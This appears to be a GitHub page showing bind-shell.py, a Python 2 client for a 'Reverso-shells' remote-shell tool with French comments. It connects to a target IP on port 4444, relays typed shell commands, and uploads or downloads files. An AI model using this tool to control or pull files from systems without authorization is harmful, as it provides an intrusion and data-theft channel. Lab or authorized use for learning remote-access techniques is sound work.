-
Notifications
You must be signed in to change notification settings - Fork 0
/
bind-shell.py
114 lines (92 loc) · 2.34 KB
/
bind-shell.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
import socket
import os
import time
##FUNCTIONS
def banner():
print " ________________ "
print "< Reverso-shells >"
print "By Koploseus"
print " ---------------- "
print " \ "
print " \ "
print " .--."
print " |o_o |"
print " |:_/ |"
print " // \ \ "
print " (| | )"
print " /'\_ _/`\ "
print " \___)=(___/"
print " "
print " "
def recieveLine(socket):
"""
retourne ligne en attente
@return a string recieve line
"""
data = ""
line = ""
while(data != '\n'):
line += data
data = socket.recv(1)
if not data:
print "Connexion perdu\n"
exit(0)
return line
def uploadFile(socket,filename):
f = open(filename,'r')
socket.send(f.name + "\n")
size = os.path.getsize(filename)
socket.send(str(size) + "\n")
data = f.read(1024)
while (data):
socket.send(data)
data = f.read(1024)
print "Upload Reussi !\n"
def downloadFile(socket):
if(recieveLine(socket) == "NONREADABLE"):
print "Error Permssion Denied"
return
filename = recieveLine(socket)
f = open(filename, 'w')
size = int(recieveLine(socket))
while size != 0:
data = socket.recv(1024)
f.write(data)
size -= len(data)
print "Download Reussi !\n"
#FIN FUNCTION
os.system("clear")
banner()
host = raw_input("IP: ")
port = 4444
#Creation socket AF_INET
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try: # test connexion
server.connect((host, port))
print "[+] Connexion en cours..."
time.sleep(2)
print "[+] Connexion reussi!\n\n"
except socket.error:
print "[-]Erreur! Serveur non joignable !!!\n "
exit(0)
cmd = ""
# Lis les commandes et les envois
while cmd != 'exit':
cmd = raw_input("shell-#")
if(cmd[:6] == "upload"):
t = cmd.split(" ")
if not os.access(t[1],os.R_OK):
print "Permission Denied"
continue
server.send(cmd + "\n")
uploadFile(server,t[1])
continue
elif(cmd[:8] == "download"):
server.send(cmd + "\n")
downloadFile(server)
continue
server.send(cmd + "\n") # envoie la commande au serveur
numoflines = recieveLine(server)
for i in range(int(numoflines)):
print(recieveLine(server))
server.close()